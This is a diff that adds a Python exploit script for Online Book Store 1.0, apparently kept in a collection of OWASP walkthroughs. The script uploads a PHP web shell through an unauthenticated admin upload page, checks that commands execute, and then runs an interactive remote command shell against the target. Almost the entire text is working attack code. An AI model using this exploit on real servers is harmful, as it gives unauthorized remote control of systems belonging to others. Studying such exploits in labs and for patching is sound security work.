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Walkthroughs/OWASP2021/vuln-and-outdated/47887

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+# Exploit Title: Online Book Store 1.0 - Unauthenticated Remote Code Execution
+# Google Dork: N/A
+# Date: 2020-01-07
+# Exploit Author: Tib3rius
+# Vendor Homepage: https://projectworlds.in/free-projects/php-projects/online-book-store-project-in-php/
+# Software Link: https://github.com/projectworlds32/online-book-store-project-in-php/archive/master.zip
+# Version: 1.0
+# Tested on: Ubuntu 16.04
+# CVE: N/A
+
+import argparse
+import random
+import requests
+import string
+import sys
+
+parser = argparse.ArgumentParser()
+parser.add_argument('url', action='store', help='The URL of the target.')
+args = parser.parse_args()
+
+url = args.url.rstrip('/')
+random_file = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(10))
+
+payload = '<?php echo shell_exec($_GET[\'cmd\']); ?>'
+
+file = {'image': (random_file + '.php', payload, 'text/php')}
+print('> Attempting to upload PHP web shell...')
+r = requests.post(url + '/admin_add.php', files=file, data={'add':'1'}, verify=False)
+print('> Verifying shell upload...')
+r = requests.get(url + '/bootstrap/img/' + random_file + '.php', params={'cmd':'echo ' + random_file}, verify=False)
+
+if random_file in r.text:
+    print('> Web shell uploaded to ' + url + '/bootstrap/img/' + random_file + '.php')
+    print('> Example command usage: ' + url + '/bootstrap/img/' + random_file + '.php?cmd=whoami')
+    launch_shell = str(input('> Do you wish to launch a shell here? (y/n): '))
+    if launch_shell.lower() == 'y':
+        while True:
+            cmd = str(input('RCE $ '))
+            if cmd == 'exit':
+                sys.exit(0)
+            r = requests.get(url + '/bootstrap/img/' + random_file + '.php', params={'cmd':cmd}, verify=False)
+            print(r.text)
+else:
+    if r.status_code == 200:
+        print('> Web shell uploaded to ' + url + '/bootstrap/img/' + random_file + '.php, however a simple command check failed to execute. Perhaps shell_exec is disabled? Try changing the payload.')
+    else:
+        print('> Web shell failed to upload! The web server may not have write permissions.')